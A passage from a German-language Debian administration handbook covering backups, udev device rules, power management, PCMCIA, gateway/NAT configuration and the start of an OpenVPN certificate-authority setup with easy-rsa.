Die Falcot Corp. Administratoren sind sich der Grenzen ihrer Dateisicherungsstrategie bewusst. Da sie weder den Dateisicherungsserver noch ein Band in einem feuersicheren Tresor schützen können, haben sie ihn in einem getrennten Raum aufgestellt, so dass ein Unglück, wie ein Feuer im Serverraum, nicht die Dateisicherungen zusammen mit allem anderen zerstören würde. Darüber hinaus führen sie wöchentlich eine inkrementelle Dateisicherung auf CD-ROM durch - nur Dateien, die seit der letzten Dateisicherung verändert wurden, sind hierin einbezogen.

WEITERE SCHRITTE SQL- und LDAP-Dienste sichern

Viele Dienste (wie SQL- oder LDAP-Datenbanken) können nicht einfach durch das Kopieren ihrer Dateien gesichert werden (es sei denn, sie werden während der Erstellung der Dateisicherungen ordnungsgemäß angehalten, was häufig problematisch ist, weil sie ständig verfügbar sein sollen). Daher ist es erforderlich, ein „Export“-Verfahren zu benutzen, um so einen Datenbank-„Dump“ zu erstellen, der auf sichere Weise gespeichert werden kann. Diese Dumps sind häufig recht groß, können aber gut komprimiert werden. Um den erforderlichen Speicherplatz zu verringern, wird man wöchentlich nur eine vollständige Textdatei speichern und täglich ein diff, das etwa mit einem Befehl wie diff gestrige_datei heutige_datei erstellt wird. Das Programm xdelta erzeugt inkrementelle Differenzen aus binären Dumps.

KULTUR TAR, der Standard für Bandsicherungen

Früher bestand der einfachste Weg, eine Dateisicherung in Unix durchzuführen, darin, ein TAR-Archiv auf einem Band zu speichern. Der tar-Befehl erhielt sogar seinen Namen von „TapeARchive“.

9.11. Wechsel im laufenden Betrieb: hotplug

9.11.1. Einführung

Das Hotplug-Subsystem des Kernels lädt Treiber für Peripheriegeräte, die im laufenden Betrieb gewechselt werden können. Dies schließt USB-Geräte (zunehmend verbreitet), PCMCIA (übliche Erweiterungskarten für Laptops), IEEE 1394 (auch „Firewire“ oder „I-Link“ genannt), einige SATA-Festplatten und für manche Spitzenserver sogar PCI- und SCSI-Geräte ein. Der Kernel verfügt über eine Datenbank, die jeder Geräte-ID den erforderlichen Treiber zuordnet. Diese Datenbank wird während des Hochfahrens dazu benutzt, alle Treiber für die Peripheriegeräte zu laden, die auf den verschiedenen oben genannten Bussen erkannt wurden, aber auch wenn ein zusätzliches Hotplug-Gerät verbunden wird. Sobald ein Treiber geladen ist, wird eine Nachricht an udevd geschickt, so dass es einen entsprechenden Eintrag in /dev/ erstellen kann.

9.11.2. Das Namensproblem

Vor dem Aufkommen von Hotplug-Verbindungen war es leicht, einem Gerät einen festen Namen zuzuordnen. Er beruhte einfach auf der Position des Gerätes auf seinem jeweiligen Bus. Dies ist jedoch nicht möglich, wenn solche Geräte auf dem Bus kommen und gehen können. Der typische Fall ist die Benutzung einer Digitalkamera und eines USB-Sticks, die dem Rechner beide als Plattenlaufwerke erscheinen. Das als erstes angeschlossene könnte /dev/sdb sein und das zweite /dev/sdc (während /dev/sda die eigene Festplatte des Rechners darstellt). Der Gerätename ist nicht festgelegt; er hängt von der Reihenfolge ab, in der die Geräte angeschlossen werden.

Zusätzlich verwenden Treiber in zunehmendem Maße dynamische Werte für die Haupt- und Nebennummern der Geräte, wodurch es unmöglich wird, feststehende Einträge für bestimmte Geräte zu verwenden, da diese wesentlichen Kennzeichen sich nach einem Neustart ändern können.

udev wurde entwickelt, um genau dieses Problem zu lösen.

IN DER PRAXIS Verwaltung von Netzwerkkarten

Zahlreiche Rechner haben mehrere Netzwerkkarten (häufig zwei Kabelschnittstellen und eine Wifi-Schnittstelle), und mit Hotplug-Unterstützung auf den meisten Bustypen kann der 2.6 Kernel feste Bezeichnungen der Netzwerkschnittstellen nicht mehr sicherstellen. Aber ein Benutzer, der sein Netzwerk in /etc/network/interfaces konfigurieren will, benötigt eine feste Bezeichnung!

Es wäre schwierig, jeden Benutzer zu bitten, seine eigenen udev-Regeln zu erstellen, um dieses Problem anzugehen. Deshalb wurde udev in einer recht eigenartigen Weise konfiguriert; beim ersten Hochfahren (und überhaupt jedes Mal, wenn eine neue Netzwerkkarte erscheint) verwendet es den Namen der Netzwerkschnittstelle und ihre MAC-Adresse, um neue Regeln zu erstellen, die denselben Namen bei nachfolgenden Rechnerstarts wieder zuweisen. Diese Regeln sind in /etc/udev/rules.d/70-persistent-net.rules abgespeichert.

Dieses Vorgehen hat einige Nebenwirkungen, die Sie kennen sollten. Nehmen wir den Fall eines Rechners, der nur eine PCI-Netzwerkkarte hat. Die Netzwerkschnittstelle heißt natürlich eth0. Nun nehmen wir an, dass die Karte ausfällt und vom Administrator ersetzt wird; die neue Karte wird eine neue MAC-Adresse haben. Da der alten Karte die Bezeichnung eth0 zugewiesen war, wir der neuen eth1 zugewiesen, obwohl die alte für immer fort ist (und das Netzwerk wird nicht funktionieren, weil /etc/network/interfaces voraussichtlich eine eth0-Schnittstelle konfigurieren wird). In diesem Fall genügt es, einfach vor einem Neustart des Rechners die Datei /etc/udev/rules.d/70-persistent-net.rules zu löschen. Der neuen Karte wird dann die gewünschte Bezeichnung eth0 gegeben.

9.11.3. Wie udev funktioniert

Wenn udev vom Kernel über das Erscheinen eines neuen Gerätes informiert wird, sammelt es verschiedene Informationen über das betreffende Gerät, indem es die entsprechenden Einträge in /sys/ zurate zieht, vor allem diejenigen, die es eindeutig identifizieren (MAC-Adresse bei einer Netzwerkkarte, Seriennummer bei einigen USB-Geräten usw.).

Mit all diesen Informationen versehen konsultiert udev dann alle in /etc/udev/rules.d/ und /lib/udev/rules.d/ enthaltenen Regeln. Im Verlauf dieses Vorgangs entscheidet es, wie das Gerät bezeichnet werden soll, welche symbolische Verknüpfung erstellt werden soll (um ihm einen alternativen Namen zu geben), und welche Befehle ausgeführt werden sollen. All diese Dateien werden der Reihe nach konsultiert und alle Regeln nacheinander ausgewertet (außer wenn eine Datei „GOTO“-Anweisungen verwendet). So kann es mehrere Regeln geben, die sich auf einen bestimmten Vorgang beziehen.

Die Syntax von Regeldateien ist recht einfach: jede Zeile enthält Auswahlkriterien und die Festsetzung von Variablen. Erstere werden gebraucht, um Vorgänge auszuwählen, auf die reagiert werden muss, und letztere bestimmen die zu ergreifenden Maßnahmen. Sie sind alle einfach durch Kommata getrennt, und der Operator teilt sie implizit in Auswahlkriterien (durch Vergleichsoperatoren wie == oder !=) und Zuordnungsanweisungen ein (durch Operatoren wie =, += oder :=).

Vergleichsoperatoren werden bei den folgenden Variablen verwendet:

KERNEL: die Bezeichnung, die der Kernel dem Gerät gibt;

ACTION: die dem Vorgang entsprechende Aktion („add“, wenn ein Gerät hinzugefügt wurde, „remove“, wenn es entfernt worden ist);

DEVPATH: der Pfad zum /sys/-Eintrag des Geräts;

SUBSYSTEM: das Kernel-Subsystem, das die Anfrage gestellt hat (es gibt viele, einige Beispiele sind „usb“, „ide“, „net“, “firmware“ usw.);

ATTR{attribut}: Dateiinhalt der attribute-Datei im /sys/$devpath/-Verzeichnis des Geräts. Hier finden Sie die MAC-Adresse und andere bus-spezifische Kennungen;

KERNELS, SUBSYSTEMS und ATTRS{attributes} sind Varianten, die versuchen, den verschiedenen Optionen auf einem der übergeordneten Geräte des vorliegenden Geräts zu entsprechen;

PROGRAM: delegiert den Test an das angegebene Programm (wahr, falls es 0 ausgibt, unwahr, falls nicht). Der Inhalt der Standardausgabe des Programms wird gespeichert, so dass er vom RESULT-Test erneut verwendet werden kann;

RESULT: führt Tests auf der Standardausgabe durch, die während des letzten Aufrufs von PROGRAM gespeichert wurden.

Die richtigen Operanden können Strukturausdrücke benutzen, um mehreren Werten gleichzeitig zu entsprechen. Zum Beispiel entspricht * jeder Zeichenkette (selbst einer leeren); ? entspricht jedem Zeichen und [] entspricht dem Zeichensatz zwischen den eckigen Klammern (oder seinem Gegenteil, falls das erste Zeichen ein Ausrufezeichen ist und zusammenhängende Reihen von Zeichen, wie a-z, angegeben sind).

Was die Zuweisungsoperatoren betrifft, so weist = einen Wert zu (und ersetzt den gegenwärtigen Wert); im Falle einer Liste wird sie geleert und enthält dann nur den zugewiesenen Wert. := macht dasselbe, aber unterbindet spätere Veränderungen derselben Variablen. += fügt einer Liste eine Position hinzu. Die folgenden Variablen können verändert werden:

NAME: der Dateiname des Geräts, der in /dev/ erstellt wird. Nur die erste Zuweisung zählt; die übrigen werden ignoriert;

SYMLINK: die Liste symbolischer Verknüpfungen, die auf dasselbe Gerät zeigen;

OWNER, GROUP und MODE legen den Eigentümer und die Gruppe fest, denen das Gerät gehört, sowie die dazugehörige Berechtigung;

RUN: die Liste der als Reaktion auf dieses Ereignis auszuführenden Programme.

Die Werte, die diesen Variablen zugewiesen werden, können eine Reihe von Ersetzungen benutzen:

$kernel oder %k: entspricht KERNEL;

$number or %n: die Ordnungszahl des Geräts, zum Beispiel wäre dies „3“ für sda3;

$devpath oder %p: entspricht DEVPATH;

$attr{attribute} oder %s{attribute}: entspricht ATTRS{attribute};

$major oder %M: die Hauptgerätenummer im Kernel;

$minor oder %m: die Nebengerätenummer im Kernel;

$result oder %c: die Zeichenkettenausgabe des letzten von PROGRAM aufgerufenen Programms;

und schließlich %% und $$ für das Prozent- beziehungsweise Dollarzeichen.

Die oben stehenden Listen sind nicht vollständig (sie enthalten nur die wichtigsten Parameter), jedoch sollte die Handbuchseite udev(7) es sein.

9.11.4. Ein konkretes Beispiel

Lassen Sie uns den Fall eines einfachen USB-Sticks betrachten und versuchen, ihm eine feststehende Bezeichnung zu geben. Zunächst müssen Sie die Elemente finden, die ihn eindeutig identifizieren. Hierzu stecken Sie ihn ein und führen den Befehl udevadm info -a -n /dev/sdc aus (wobei Sie /dev/sdc durch den Namen ersetzen, der dem Stick tatsächlich zugewiesen ist).

# udevadm info -a -n /dev/sdc [...] looking at device '/devices/pci0000:00/0000:00:10.3/usb1/1-2/1-2.2/1-2.2:1.0/host9/target9:0:0/9:0:0:0/block/sdc': KERNEL=="sdc" SUBSYSTEM=="block" DRIVER=="" ATTR{range}=="16" ATTR{ext_range}=="256" ATTR{removable}=="1" ATTR{ro}=="0" ATTR{size}=="126976" ATTR{alignment_offset}=="0" ATTR{capability}=="53" ATTR{stat}==" 51 100 1208 256 0 0 0 0 0 192 25 6" ATTR{inflight}==" 0 0" [...] looking at parent device '/devices/pci0000:00/0000:00:10.3/usb1/1-2/1-2.2/1-2.2:1.0/host9/target9:0:0/9:0:0:0': KERNELS=="9:0:0:0" SUBSYSTEMS=="scsi" DRIVERS=="sd" ATTRS{device_blocked}=="0" ATTRS{type}=="0" ATTRS{scsi_level}=="3" ATTRS{vendor}=="I0MEGA " ATTRS{model}=="UMni64MB*IOM2C4 " ATTRS{rev}==" " ATTRS{state}=="running" [...] ATTRS{max_sectors}=="240" [...] looking at parent device '/devices/pci0000:00/0000:00:10.3/usb1/1-2/1-2.2': KERNELS=="9:0:0:0" SUBSYSTEMS=="usb" DRIVERS=="usb" ATTRS{configuration}=="iCfg" ATTRS{bNumInterfaces}==" 1" ATTRS{bConfigurationValue}=="1" ATTRS{bmAttributes}=="80" ATTRS{bMaxPower}=="100mA" ATTRS{urbnum}=="398" ATTRS{idVendor}=="4146" ATTRS{idProduct}=="4146" ATTRS{bcdDevice}=="0100" [...] ATTRS{manufacturer}=="USB Disk" ATTRS{product}=="USB Mass Storage Device" ATTRS{serial}=="M004021000001" [...]

Um eine neue Regel zu erstellen, können Sie Tests für die Variablen des Geräts wie auch für die eines übergeordneten Geräts durchführen. Der oben stehende Fall ermöglicht es uns, zwei Regeln wie die folgenden zu erstellen:

KERNEL=="sd?", SUBSYSTEM=="block", ATTRS{serial}=="M004021000001", SYMLINK+="usb_key/disk" KERNEL=="sd?[0-9]", SUBSYSTEM=="block", ATTRS{serial}=="M004021000001", SYMLINK+="usb_key/part%n"

Sobald diese Regeln in einer Datei festgehalten sind, die zum Beispiel /etc/udev/rules.d/010_local.rules heißt, können Sie den USB-Stick einfach entfernen und wieder einstecken. Sie sehen dann, dass /dev/usb_key/disk die dem USB-Stick entsprechende Platte ist und /dev/usb_key/part1 ihre erste Partition.

WEITERE SCHRITTE Fehlersuche in udevs Konfiguration

Wie viele Daemons, so speichert auch udevd Protokolle in /var/log/daemon.log. Jedoch sind sie standardmäßig nicht sehr ausführlich und reichen gewöhnlich nicht aus, um zu verstehen, was vor sich geht. Der Befehl udevadm control --log-priority=info erhöht den Grad der Ausführlichkeit und behebt dieses Problem. udevadm control --log-priority=err setzt ihn wieder auf den ursprünglichen Ausführlichkeitsgrad zurück.

9.12. Energieverwaltung

Das Thema Energieverwaltung ist häufig mit Problemen verbunden. So erfordert das ordnungsgemäße Versetzen des Rechners in den Bereitschaftsbetrieb, dass alle Gerätetreiber des Rechners wissen, wie die Geräte in Stand-by versetzt werden, und dass sie sie bei der erneuten Betriebsaufnahme wieder ordnungsgemäß konfigurieren. Leider gibt es noch viele Geräte, die unter Linux nicht korrekt in den Wartebetrieb übergehen, da ihre Hersteller die erforderlichen Spezifikationen nicht bereitgestellt haben.

BEACHTENSWERT Software im Bereitschaftsbetrieb

Unter dem Banner des Software-Bereitschaftsbetriebs laufen mehrere neuere Bemühungen, unter Linux einen zuverlässigen Ruhezustand auf einer Platte oder im Speicher zu integrieren. Die jüngsten Kernel sind in dieser Beziehung relativ verlässlich, wenn sie zusammen mit Programmen des Pakets uswsusp eingesetzt werden. Leider sind Probleme im Zusammenhang mit dem Ruhezustand jedoch noch keine ferne Vergangenheit, und Sie sollten Ihre Hardware testen, bevor Sie ihrer Fähigkeit, aus dem Ruhezustand aufzuwachen, zu sehr vertrauen.

Für diejenigen, die mehr darüber erfahren möchten, wie der Ruhezustand mit ACPI funktioniert, hat Matthew Garrett einen ausgezeichneten Artikel zu diesem Thema in seinem Blog.

→ http://www.advogato.org/article/913.htm\

9.12.1. Advanced Power Management (APM)

Die Steuerung von APM (Advanced Power Management) ist in allen Debian-Kerneln vorhanden, aber standardmäßig ausgeschaltet. Um sie zu aktivieren, fügen Sie die Option apm=on zu den Parametern hinzu, die beim Hochfahren an den Kernel weitergeleitet werden. Bei LILO fügen Sie die Anweisung append="apm=on" zu dem Block hinzu, der angibt, welches Image zu laden ist (in der Datei /etc/lilo.conf) und starten lilo neu. Bei GRUB2 fügen Sie in der Datei /etc/default/grub einfach apm=on zu den Variablen hinter GRUB_CMDLINE_LINUX= hinzu und führen update-grub aus, um den Inhalt des Boot-Menüs zu aktualisieren.

Das Paket apmd stellt einen Daemon bereit, der nach Ereignissen Ausschau hält, die mit der Energieverwaltung in Zusammenhang stehen (das Umschalten zwischen Netz- und Batteriebetrieb bei einem Laptop usw.), und ermöglicht es Ihnen, als Reaktion hierauf bestimmte Befehle auszuführen.

Heutzutage hat APM wirklich nur noch auf älteren Rechnern, die ACPI nicht richtig unterstützen, eine Daseinsberechtigung. In allen anderen Fällen sollte ACPI verwendet werden.

9.12.2. Modernes Energiesparen: Advanced Configuration and Power Interface (ACPI)

Linux unterstützt ACPI (Advanced Configuration and Power Interface) - den jüngsten Standard in der Energieverwaltung. Er ist nicht nur leistungsstärker und flexibler, sondern auch schwieriger umzusetzen. Das Paket acpid ist in der ACPI-Welt das Pendant zu apmd.

Wenn Sie wissen, dass Ihr BIOS das ACPI korrekt handhabt, sollten Sie es dem APM vorziehen (wird durch eine Aktualisierung des BIOS entfernt). Wenn Sie vom einen zum anderen wechseln, müssen Sie darauf achten, das Paket apmd zu entfernen, da es Probleme verursachen könnte, wenn es neben acpid bestehen bleibt (und umgekehrt).

ACHTUNG Grafikkarte und Bereitschaftsbetrieb

Der Grafikkartentreiber hat häufig ein Problem mit dem Bereitschaftsbetrieb. Bei Schwierigkeiten empfiehlt es sich, die jüngste Version des X.org-Grafikservers auszuprobieren.

HARDWARE Apple und Energieverwaltung

Auf Apple Powerbooks (das heißt, bei PowerPC-Prozessoren) sollte apmd durch pmud ersetzt werden.

9.13. Laptop-Erweiterungskarten: PCMCIA

PCMCIA-Kartentreiber sind seit der Kernelversion 2.6.13 als Module in den Kernel eingebaut. Auf einem System mit Debian Squeeze brauchen Sie nur die Anwendungsebenenunterstützung, die im Paket pcmciautils enthalten ist, zu installieren.

Das Paket wireless-tools ist für die korrekte Verwaltung von Wifi-Karten ebenfalls erforderlich.

Jedes Mal, wenn Sie eine Karte anschließen oder entfernen, konfiguriert oder dekonfiguriert der Daemon sie, indem er ein Skript im Verzeichnis /etc/pcmcia/ ausführt, das seine Einstellungen von den Dateien /etc/pcmcia/*.opts bezieht. Diese Dateien sind geringfügig angepasst worden, damit sie mit einem Debian-System funktionieren; die Konfigurierung des Netzwerks wird an ifup delegiert, falls die Datei /etc/pcmcia/network.opts dies nicht erledigt. Das Gleiche gilt für die Konfigurierung eines kabellosen Netzwerks, das in /etc/network/interfaces statt in /etc/pcmcia/wireless.opts spezifiziert werden kann. Die Datei /usr/share/doc/wireless-tools/README.Debian erklärt die zu verwendende Syntax.

Nach diesem Überblick über wesentliche Dienste, die vielen Unix-Systemen gemein sind, werden wir unsere Aufmerksamkeit auf das Umfeld der verwalteten Rechner richten: das Netzwerk. Damit das Netzwerk ordnungsgemäß funktioniert, sind viele Dienste erforderlich. Sie werden im nächsten Kapitel erörtert.

Chapter 10. Netzwerk-Infrastruktur

Von Unix hat Linux umfangreiche Netzwerkfunktionalität geerbt. Debian verfügt über alle Werkzeuge, die zum Verwalten von Netzwerken nötig sind. In diesem Kapitel werden diese Werkzeuge besprochen.

10.1. Gateway

Ein Gateway ist ein System, das mehrere Netzwerke verbindet. Dieser Ausdruck bezieht sich häufig auf den "Ausgang" eines lokalen Netzwerks auf dem vorgeschriebenen Pfad zu externen IP-Adressen. Das Gateway ist mit jedem der Netzwerke verbunden, die es verbindet, und routet IP-Pakete zwischen verschiedenen Schnittstellen.

ZURÜCK ZU DEN GRUNDLAGEN IP-Paket

Die meisten Netzwerke nutzen heute das IP-Protokoll (Internet-Protocol). Dieses Protokoll unterteilt die gesendeten Daten in kleine Pakete. Jedes Paket enthält neben den Daten auch noch Hinweise zur korrekten Übertragung.

ZURÜCK ZU DEN GRUNDLAGEN TCP/UDP

Viele Programme verarbeiten die individuellen Pakete nicht selbst, auch wenn sie die Daten per IP übertragen. Sie nutzen oft TCP (Transmission Control Protocol/Transport Kontroll Protokoll). TCP ist eine Schicht über IP, um Datenströme zwischen zwei Punkten zu ermöglichen. Programme sehen nur einen Eingang in den sie ihre Daten senden können, das die gleichen Daten garantiert ohne Verlust (und in der gleichen Reihenfolge) am Ende der Verbindung ankommen. Obwohl viele verschiedene Fehler in den unteren Schichten auftreten können, regelt das TCP die erneute Versendung verlorener Pakete; Pakete welche in falscher Reihenfolge ankommen (z. B. wegen verschiedener Pfade) werden in der richtigen Reihenfolge ausgegeben.

Ein weiteres auf IP aufbauendes Protokoll ist UDP(User Datagram Protocol). Im Gegensatz zu TCP ist es paketorientiert. Es wird ein anderes Ziel verfolgt: Es sendet ein Paket von einer Anwendung zu einer Anderen. Das Protokoll kümmert sich nicht um verlorene Pakete oder die Reihenfolge der Pakete. Der Hauptvorteil ist die sehr niedrige Latenz, ein verlorenes Paket hält den Datenstrom nicht auf bis dieses wieder übertragen wird.

TCP und UDP nutzen Ports, das sind "Erweiterungs Nummern" um Verbindungen mit einer Anwendung der Maschine herzustellen. Dieses Konzept erlaubt es verschiedene Verbindungen mit einem Partner aufzubauen, da man diese Verbindungen anhand der Port-Nummer unterscheiden kann.

Einige dieser Port-Nummern — standardisiert durch die IANA (Internet Assigned Numbers Authority) — sind "well-known/gut bekannt" wegen der Netzwerkdienste welche üblicherweise dort laufen. TCP-Port 25 wird zum Beispiel meistens von Mail-Servern genutzt.

→ http://www.iana.org/assignments/port-numbers

.

Wenn ein lokales Netzwerk einen privaten Adressbereich verwendet (im Internet nicht erreichbar), muss das Gateway Addressen-Masquerading anwenden, damit die Rechner im Netzwerk mit der Außenwelt kommunizieren können. Das Masquerading ist eine Art Proxy-Verfahren auf Netzwerk-Ebene: Jede von einem internen Rechner ausgehende Verbindung wird durch eine Verbindung vom Gateway selbst ersetzt (da das Gateway eine externe, erreichbare Adresse hat). Durch die maskierte Verbindung gehende Daten werden an die neue Adresse gesendet; Antwortdaten werden durch die maskierte Verbindung an den internen Rechner geschickt. Das Gateway verwendet eine Reihe fest zugeordneter TCP-Ports, gewöhnlich mit sehr hohen Nummern (über 60000). Jede von einem internen Rechner kommende Verbindung erscheint der Außenwelt dann so, als käme sie von einem dieser reservierten Ports.

CULTURE Privater Addressbereich

RFC 1918 definiert drei IPv4-Adressbereiche, die nicht im Internet geroutet werden, sondern nur in lokalen Netzwerken. Das erste Netz, 10.0.0.0/8 (siehe Seitenleiste ZURÜCK ZU DEN GRUNDLAGEN Wesentliche Netzwerkkonzepte (Ethernet, IP-Adresse, Subnetz, Broadcast).), ist ein Klasse-A Bereich (mit 2²⁴ IP-Adressen). Das Zweite, 172.16.0.0/12, enthält 16 Klasse-B Bereiche (172.16.0.0/16 bis 172.31.0.0/16), mit jeweils 2¹⁶ IP-Adressen. 192.168.0.0/16 ist schließlich ein Klasse-B Bereich (der 256 Klasse-C Bereiche, 192.168.0.0/24 bis 192.168.255.0/24, mit jeweils 256 IP-Adressen zusammenschließt).

→ http://www.faqs.org/rfcs/rfc1918.html

Das Gateway kann auch zwei Arten von Network Address Translation (oder kurz NAT genannt) durchführen. Die erste Art, Destination NAT (DNAT), ist ein Verfahren zur Änderung der Ziel-IP-Adresse (oder des TCP- beziehungsweise UDP-Ports) für eine (gewöhnlich) ankommende Verbindung. Der Mechanismus zur Verbindungsverfolgung ändert auch die innerhalb derselben Verbindung nachfolgenden Pakete, um Kontinuität in der Kommunikation sicherzustellen. Die zweite Art des NAT ist Source NAT (SNAT), bei dem das Masquerading ein besonderer Fall ist; SNAT ändert die Ausgangs-IP-Adresse (oder den TCP- beziehungsweise UDP-Port) einer (gewöhnlich) abgehenden Verbindung. Wie beim DNAT werden alle Pakete innerhalb der Verbindung durch den Verbindungsverfolgungsmechanismus behandelt. Beachten Sie, dass NAT nur für IPv4 und seinen begrenzten Adressraum gültig ist; bei IPv6 vermindert die groSZe Anzahl von Adressen den Nutzen des NAT erheblich, da es zulässt, dass alle "internen" Adressen direkt ins Internet geleitet werden (dies bedeutet nicht, dass interne Rechner zugänglich sind, da dazwischenliegende Firewalls den Datenverkehr filtern können).

ZURÜCK ZU DEN GRUNDLAGEN Port-Weiterleitung

Eine konkrete Anwendung von DNAT ist port forwarding. Ankommende Verbindungen eines bestimmten Ports einer Maschine werden zu einem Port einer anderen Maschine weitergeleitet.

Genug der Theorie. Um aus einem Debian-System ein Gateway zu machen, genügt es die passende Option im Linux-Kernel zu aktivieren. Dies geschieht im virtuellen /proc/-Verzeichnis.

# echo 1 > /proc/sys/net/ipv4/conf/default/forwarding

Diese Option kann automatisch beim Booten gesetzt werden, wenn man in /etc/sysctl.conf die Option net.ipv4.conf.default.forwarding auf 1 setzt.

Example 10.1. Die Datei /etc/sysctl.conf

net.ipv4.conf.default.forwarding = 1 net.ipv4.conf.default.rp_filter = 1 net.ipv4.tcp_syncookies = 1

Derselbe Effekt kann für IPv6 durch einfaches Ersetzen von ipv4 durch ipv6 im manuellen Befehl und durch Verwendung der Zeile net.ipv6.conf.all.forwarding in /etc/sysctl.conf erreicht werden.

Die Konfiguration von IPv4-Masquerading ist etwas schwieriger, und schließt die Konfiguration der netfilter-Firewall ein.

Auch NAT (für IPv4) erfordert die Konfiguration von netfilter. Da der Hauptzweck dieser Komponente im Filtern von Paketen besteht, sind die Einzelheiten in Chapter 14: “Sicherheit” aufgeführt (siehe Section 14.2, “Firewall oder Paketfilter”).

10.2. Virtual Private Network

Ein Virtual Private Network (kurz VPN genannt) ermoeglicht zwei verschiedene lokale Netze über das Internet mittels eines Tunnels zu verbinde. Zur Wahrung der Vertraulichkeit ist der Tunnel ist normalerweise verschlüsselt. VPNs werden häufig dazu benutzt, einen entfernten Rechner in ein lokales Firmennetz zu integrieren.

Etliche Hilfsprogramme bieten dies an. OpenVPN ist eine auf SSL/TLS basierende effiziente Lösung, die einfach eingesetzt und verwaltet werden kann. Eine andere Möglichkeit, um den IP-Verkehr zwischen zwei Rechnern zu verschlüsseln, ist IPsec; diese Verschlüsselung erfolgt transparent; das heißt, dass Anwendungen das VPN nutzen koennen, ohne dass sie angepasst werden muessten. Auch SSH kann ein VPN bereitstellen, ebenso Microsofts PPTP-Protokoll. Es gibt noch weitere Lösungen, die aber außerhalb des Schwerpunktes dieses Buches liegen.

10.2.1. OpenVPN

OpenVPN ist eine Software zum Anlegen virtueller privater Netze. Um es einzurichten, legen Sie virtuelle Netzwerkschnittstellen auf dem VPN-Server und den Clients an. tun (für Tunnel auf IP-Ebene) und tap (für Tunnel auf Ethernet-Ebene) werden unterstützt. In der Praxis werden meistens tun-Schnittstellen verwendet, außer wenn die VPN-Clients durch eine Ethernet-Brücke in das lokale Netz des Servers integriert werden sollen.

OpenVPN nutzt OpenSSL für die gesamte SSL/TLS-Kryptographie und die damit zusammenhängenden Leistungsmerkmale (Vertraulichkeit, Authentifizierung, Integrität, Nichtabstreitbarkeit). Es kann entweder mit einem geteilten privaten Schlüssel oder mithilfe eines (auf Public-Key-Verschluesselung basierenden) X.509-Zertifikats benutzt werden. Die zweite Konfiguration ist eindeutig vorzuziehen, da sie angesichts einer wachsenden Zahl wechselnder Benutzer des VPN größere Flexibilität ermöglicht.

KULTUR SSL und TLS

Das SSL-Protokoll (Secure Socket Layer) wurde von Netscape erfunden, um Verbindungen zu Webservern abzusichern. Es wurde später von der IETF unter der Abkürzung TLS (Transport Layer Security) zum Standard erhoben; TLS ähnelt SSLv3, mit nur wenigen Korrekturen und Verbesserungen.

10.2.1.1. Public-Key-Infrastrultur: easy-rsa

Der RSA-Algorithmus ist in der Public-Key-Kryptographie weit verbreitet. Er umfasst ein "Schlüsselpaar", das aus einem privaten und einem öffentlichen Schlüssel bezieht. Die beiden Schlüssel sind durch ihre mathematischen Eigenschaften derart miteinander verbunden, dass folgende Operation moeglich ist: Eine Nachricht, die mit dem öffentlichen Schlüssel verschlüsselt wurde, kann nur von jemandem entschlüsselt werden, der den privaten Schlüssel kennt. Dies stellt Vertraulichkeit her. In umgekehrter Richtung kann eine mit dem privaten Schlüssel verschlüsselte Nachricht, von jedem entschlüsselt werden, der den öffentlichen Schlüssel kennt. Dies authentifiziert die Nachricht, da sie nur der Inhaber des privaten Schlüssels erstellt haben kann. Dies führt in Verbindung mit einer digitalen Hash-Funktion (MD5, SHA1 oder einer neueren Variante) zu einem Signaturverfahren, das auf jede Nachricht angewendet werden kann.

Jedoch kann jeder ein Schlüsselpaar erstellen, eine beliebige Identität in ihm ablegen und so eine andere Identität vortäuschen. Ein Lösungskonzept beruht auf einer Certification Authority (CA, Zertifizierungsstelle), das durch den Standard X.509 formalisiert ist. Dieser Begriff bezeichnet eine Organisation, die ein vertrauenswürdiges Schlüsselpaar bereithält, das als Stammzertifikat bezeichnet wird. Dieses Zertifikat wird nur dazu benutzt, andere Zertifikate (Schlüsselpaare) zu signieren, nachdem die erforderlichen Schritte zur Überprüfung der Identität, die auf ihm abgelegt ist, unternommen worden sind. X.509-Anwendungen können dann vorgelegte Zertifikate überprüfen, wenn sie die vertrauenswürdigen Stammzertifikate kennen.

OpenVPN folgt dieser Regel. Da öffentliche Zertifizierungstellen Zertifikate nur gegen eine (hohe) Gebühr ausstellen, können private Zertifizierungsstellen auch innerhalb eines Unternehmens eingerichtet werden. OpenVPN stellt zur Einrichtung einer X.509-Zertifizierungsinfrastruktur das Programm easy-rsa berei. Es besteht aus einem Satz von Skripten, die den Befehl openssl verwenden; diese Skripte sind unter /usr/share/doc/openvpn/examples/easy-rsa/2.0/ zu finden.

Die Administratoren der Falcot Corp. verwenden dieses Hilfsprogramm, um die erforderlichen Zertifikate sowohl für den Server, als auch die Clients zu erstellen. Dies ermöglicht eine ähnliche Konfiguration aller Clients, da sie nur so eingerichtet werden müssen, dass sie Zertifikaten von Falcots lokaler Zertifizierungsstelle vertrauen. Für diese Stelle wird das erste Zertifikat erstellt; hierzu kopieren die Administratoren das Verzeichnis, das easy-rsa enthält, an einen passenderen Ort, vorzugsweise auf einen nicht mit dem Netzwerk verbundenen Rechner, um so das Risiko des Schlüsseldiebstahls zu verringern.

$ cp -r /usr/share/doc/openvpn/examples/easy-rsa/2.0 pki-falcot $ cd pki-falcot

Dann werden die erforderlichen Parameter in der Datei vars gespeichert, insbesondere diejenigen, die mit dem Präfix KEY_ versehen sind; diese Variablen werden dann in die Umgebung integriert:

$ vim vars $ grep KEY_ vars export KEY_CONFIG=`$EASY_RSA/whichopensslcnf $EASY_RSA` export KEY_DIR="$EASY_RSA/keys" echo NOTE: If you run ./clean-all, I will be doing a rm -rf on $KEY_DIR export KEY_SIZE=1024 export KEY_EXPIRE=3650 export KEY_COUNTRY="FR" export KEY_PROVINCE="Loire" export KEY_CITY="Saint-Étienne" export KEY_ORG="Falcot Corp" export KEY_EMAIL="admin@falcot.com" $ . ./vars NOTE: If you run ./clean-all, I will be doing a rm -rf on /home/rhertzog/pki-falcot/keys $ ./clean-all

Im nächsten Schritt wird das Schlüsselpaar der Zertifizierungsstelle erzeugt (die beiden Teile des Schlüsselpaars werden im Verlauf dieses Schritts unter keys/ca.crt und keys/ca.key gespeichert:

$ ./build-ca Generating a 1024 bit RSA private key ..............................................++++++ .......................++++++ writing new private key to 'ca.key' ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [FR]: State or Province Name (full name) [Loire]: Locality Name (eg, city) [Saint-Étienne]: Organization Name (eg, company) [Falcot Corp]: Organizational Unit Name (eg, section) []: Common Name (eg, your name or your server's hostname) [Falcot Corp CA]: Name []: Email Address [admin@falcot.com]:

